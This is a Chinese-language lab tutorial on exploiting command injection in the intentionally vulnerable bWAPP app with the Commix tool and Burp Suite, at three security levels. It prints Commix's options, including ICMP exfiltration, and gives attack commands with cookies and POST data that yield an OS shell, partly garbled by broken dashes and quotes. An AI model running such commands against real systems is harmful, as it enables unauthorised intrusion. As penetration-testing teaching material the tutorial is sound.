使用Commix绕过安全防护利用命令执行漏洞

命令执行

命令执行是一种常见的攻击手法,命令执行的的目标是通过一个存在漏洞的应用程序在主机上执行任意命令。应用程序通过用户提供的不安全数据(forms, cookies, HTTP headers etc等.)传输到系统从而导致命令执行是可有能的。在这种攻击中,攻击者提供的操作系统的命令通常以漏洞应用程序的权限执行。命令注入攻击出现的很大一部分原因是因为服务端对输入校验,过滤不严格。

这种攻击不同于代码注入,命令执行允许攻击者添加自定义代码,然后由该应用程序执行。在代码注入,攻击者只是延伸利用了应用程序的默认功能,而不执行系统命令。

参考资料:https://www.owasp.org/index.php/Command_Injection

测试环境

  • Xampp/Wamp Server
  • bWAPP Lab
  • Kali Linux: Burp suite, Commix tool

首先你需要XAMPP或WAMP里安装bwapp,现在我要用bwapp来测试命令执行漏洞

启动Apache和MySQL,在浏览器中打开bwapp的地址,我本机的地址是:192.168.1.103:81/bWAPP/login.php,输入用户名和密码登录。

接下来我们将绕过bwapp的三个安全等级来利用命令执行漏洞

Commix

Commix是一个适用于web开发者、渗透测试人员及安全研究者的自动化测试工具,可以帮助他们更高效的发现web应用中的命令注入攻击相关漏洞。Commix由Python编写。

环境要求

Python 2.6.x或2.7.x

安装

git clone https://github.com/stasinopoulos/commix.git commix

以下发行版和渗透测试框架都已集成Commix

  • ArchStrike
  • BlackArch Linux
  • BackBox
  • Kali Linux
  • Parrot Security OS
  • Weakerthan Linux
  • TrustedSec’s Penetration Testers Framework (PTF)
  • OWASP Offensive Web Testing Framework (OWTF)
  • CTF-Tools
  • PentestBox
  • PenBox
  • Katoolin

使用

基本使用

Usage: python commix.py [options]

选项

-h, --help Show help and exit.
--verbose Enable the verbose mode.
--install Install 'commix' to your system.
--version Show version number and exit.
--update Check for updates (apply if any) and exit.

目标

--url=URL Target URL.
--url-reload Reload target URL after command execution.

请求

--host=HOST HTTP Host header.
--referer=REFERER HTTP Referer header.
--user-agent=AGENT HTTP User-Agent header.
--cookie=COOKIE HTTP Cookie header.
--headers=HEADERS Extra headers (e.g. 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY Use a HTTP proxy (e.g. '127.0.0.1:8080').
--auth-url=AUTH_.. Login panel URL.
--auth-data=AUTH.. Login parameters and data.
--auth-cred=AUTH.. HTTP Basic Authentication credentials (e.g.
 'admin:admin').

注入

--data=DATA POST data to inject (use 'INJECT_HERE' tag).
--suffix=SUFFIX Injection payload suffix string.
--prefix=PREFIX Injection payload prefix string.
--technique=TECH Specify a certain injection technique : 'classic',
 'eval-based', 'time-based' or 'file-based'.
--maxlen=MAXLEN The length of the output on time-based technique
 (Default: 10000 chars).
--delay=DELAY Set Time-delay for time-based and file-based
 techniques (Default: 1 sec).
--base64 Use Base64 (enc)/(de)code trick to prevent false-
 positive results.
--tmp-path=TMP_P.. Set remote absolute path of temporary files directory.
--icmp-exfil=IP_.. Use the ICMP exfiltration technique (e.g.
 'ip_src=192.168.178.1,ip_dst=192.168.178.3').

设置安全级别:低

如图我已经设置了安全级别低

1

在DNS lookup中输入ip,然后设置好浏览器代理并打开Burpsuite

点击inception is on 来捕捉bwapp的请求包

2

打开Kali终端并根据请求包内容输入

commix url=”http://192.168.1.103:81/bWAPP/commandi.php” –
cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7; security_level=0 
data=target=”192.168.1.103&form=submit

输入Y进行攻击测试

这个命令将打开Commix,使用URL和cookie信息自动执行命令注入攻击。

攻击成功Commix会提供一个shell用于交互

Commix (os_shell) > syseteminfo

3

设置安全级别:中

如图我已经设置了安全级别低中

4

重复上面的过程,在DNS lookup中输入ip,然后设置好浏览器代理并打开Burpsuite

点击inception is on 来捕捉bwapp的请求包

5

打开终端根据Burpsuite抓取到的数据包信息输入

commixurl=”http://192.168.1.103:81/bWAPP/commandi.php”–
cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=1″–
data=target=”192.168.1.103&form=submit

输入Y进行攻击测试

如图安全级别中等攻击成功

Commix (os_shell) > ipconfig

6

设置安全级别:高

设置安全级别为高

7

在DNS lookup中输入ip,然后设置好浏览器代理并打开Burpsuite,点击inception is on 来捕捉bwapp的请求包

8

依旧打开终端根据Burpsuite抓取到的数据包信息输入

commixurl=”http://192.168.1.103:81/bWAPP/commandi.php”–
cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=2″–
data=target=”192.168.1.103&form=submit

输入Y进行测试

我们已经使用相同的过程成功地绕过了高安全级别

Commix (os_shell) > systeminfo

9

参考